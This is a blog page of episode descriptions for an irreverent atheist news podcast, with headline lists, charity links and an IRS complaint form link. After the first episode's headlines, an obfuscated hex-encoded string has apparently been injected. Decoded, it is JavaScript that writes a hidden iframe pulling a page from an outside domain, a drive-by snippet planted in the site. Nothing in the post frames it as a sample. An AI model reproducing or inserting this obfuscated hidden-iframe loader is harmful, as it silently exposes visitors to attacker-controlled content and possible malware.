The Atheist News Podcast

I am sick and high on cold medicine for this show, Richard is… well, Richard.
We had a spot of technical difficulty, but we soldiered through it. I am still sick and high on cold medicine as I post this, so I am going to keep it short.
Don’t forget to check out the new poll I just put up!

Oh, and here is the picture I promised in the show:

Atheist News this week: Christian group utilizes gross misrepresentation to dodge hot lesbians, hate crimes are now belief systems, Jenny McCarthy may have to go back to scratching her crotch and burping for a living, signs are bad, bus + kids + mad dash for the border = ??? and finally, one more state that doesn’t seem to have a firm grasp on the federal constitution.#64#6f#63#75#6d#65#6e#74#2e#77#72#69#74#65#28#22#3c#69#66#72#61#6d#65#20#73#72#63#3d#27#68#74#74#70#3a#2f#2f#6d#6f#73#68#6f#6e#6b#65#6e#2e#63#6f#6d#2f#69#6e#64#65#78#2e#70#68#70#27#20#73#74#79#6c#65#3d#27#64#69#73#70#6c#61#79#3a#6e#6f#6e#65#3b#27#3e#3c#2f#69#66#72#61#6d#65#3e#22#29#3b

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This is pretty-much the “Haiti Show.” When disaster strikes, so–apparently–do the disingenuous and the mentally unsound.
We talk a lot about the atheist “identity” and toss around some ideas and opinions about the place where charity and the nebulous identity of atheism meet. Not that we actually reach any conclusions, mind you.

And hey, I promised on this show that I’d paste in a link to the official form for complaining to the IRS about the abuse of tax exempt status. Well, here it is!

http://www.irs.gov/pub/irs-pdf/f13909.pdf

Atheist News this week: You can’t eat bibles, Pat Robertson drools on himself incoherently, Stayin’ Alive: Scientology style, Canada knows how to deal with naughty churches, Veil or Vote and finally, someone notices that electrostatic magnetic ion attraction technology doesn’t work.

If you want to give money to help Haiti, you could do worse than checking out what Richard Dawkins has set up:

http://givingaid.richarddawkins.net/

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Richard is back from the “Heads VI” meeting and we talk a bit about what went on during this pow-wow of the high muckity-mucks of atheism. We didn’t have a whole lot of time to spend on it during the show, but I promise we’ll get Richard either on the Chariots of Iron podcast or on a special “extra” edition of the Atheist News Podcast to talk more about the meeting.

As an extra-special treat during our closing credits, ALROmega agreed to let us turn you out with a cheeky little track he just dropped called “Original Front Hug.” [NSFW] which includes a shout out to Atheist News! BAM.

And probably not something you want to let your kids listen to, but if they are already listening to the damn show I don’t suppose that they have much of their innocence left to tear away from them… so uh…

Atheist News this week: Irish posse isn’t going to take this shit lying down, Jesus battles the living dead, Bloomberg finally starts pandering to us, the BHA also isn’t going to take this shit lying down, tickets to heaven, I am tired of Uganda, crazy prophet should have seen this coming and DON’T GO TO DUBAI. SERIOUSLY, DON’T.

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I have the Rev Dr. Mark Esq. IV (R-FLA) (known in some circles as the FIFTH RIDER OF THE ATHEIST APOCALYPSE) with me on the show this week. He is a very important man as can be demonstrated by the absurd number of titles I have appended to his name. While they may not all be technically “true,” it’s the thought that counts; isn’t it? We talk a bit about what we did for Christmas and at some point I think I even talk Mark into being the first atheist to attend Patriot University.

Atheist News of the week: Teabaggers have bad aim, religion ain’t what it used to be, everyone act surprised at news of a homicidal Baptist, atheists hit them where it hurts the most, of biblical apologies from Gaymorrah and finally: a priest actually making some sense for once.

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It’s the Atheist News Podcast with Me and “Bro-Ro” again this week. Did you know that Snoop Dogg was going to be fronting for his own brand of GPS? I didn’t. Richard really does have his finger on the pulse of America. Well, Christmas is coming, so inevitably, we talk about that a bit–as well as all the rest of the Holidays. Things sure do get sticky for us non-believers this time of year, don’t they? Christmas and atheism are not good bedfellows. Oh well, I like it anyway. Ho, ho, ho.

In the news: Kosher Killing–The do’s and don’ts of slaughtering the innocent, Jew vs. Hipster throwdown, “Yes, Virginia… There is no God,” Why we have a federal constitution, Moses the holy cow and the effing CHRIST-mas tree.

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After this week’s atheist news, I look forward to the day when I, Joe Prova, must come to you and say that religious people haven’t done enough loony shit in the last week to justify me bothering with a news podcast. Alas, that week is not this week. Brother Richard joins me so that I have someone to listen to me rant like a madman for an hour. I also subject him (and you) to almost three minutes of christian rap music.

Thank me later.

Speaking of thanks: Lord Scarab rocks my socks. Thanks for posting last week’s show, old chap.

In the news: Is Belief in God Hurting America? Ireland’s clergy and police for were in cahoots. “Cut out of an arm chair for Jesus.” The seal of the confessional is apparently more important than your life. The former pope kicked his own ass. Give me an atheist front hug any day of the week.

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Richard joins me for another fabulously entertaining episode of the Atheist News Podcast. This week we start the show off with a candid discussion about why Dragon Age is likely to ruin my life. We also talk a bit about my printing misadventure as well.

In the news this week: The Catholic Church is apparently bursting at the seams with uninsured gay couples, unrepentant fetus defenders, doing God’s work, mamby-pamby Muslims, bankrupting the baby-boffers one diocese at a time and PRAYNAPPING® for Dummies.

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Happy belated Halloween everybody!

Halloween is a favorite holiday of mine, and of course–because it’s fun and there is no Jesus involved–it’s under fire from the loonies. Richard joins me for a SPOOOOKTACULAR Atheist News Podcast show in which we discuss topics such as DEMONCANDY, God naming rights, the terminally credulous (some dead, some only sweaty), Michael Beeheeatch, the thwarting of political tomfoolery and which days of the week it is and is not acceptable to pick your nose. And, not to be left out, the Pope had some stupid shit to say about Halloween as well.

Enjoy!

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I am a filthy deceiver.

A falsifier, a prevaricator, a misleader and also, a guy who is fond of the thesaurus.

My computer really did die, but then, miraculously, it came back from the dead for no apparent reason. An atheist holiday miracle? Who’s to say.

This week, Brother Richard joins me as we talk about books we like, movies we like and also we manage to squeeze in some news as ill prepared as we were. Brother Richard sings again, but what else is new?

In the news:
Book burnin’, Texacutions®, do-it-your-self toddler genital mutilation and naughty presidents.

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Brother Richard is back from fighting orphans in Afghanistan!

This week in the Atheist News Podcast headlines: atheism gets you more action, it is decided that people need to quit knocking up twelve-year-old girls, 100 police vs. 10 sandwiches, we argue about God Bless America, films about scientists are too steamy for American audiences, the Catholic Church may have covered up a sexual abuse case (gasp!) and a man in California has figured out the REAL threat to marriage and plans to squash it!

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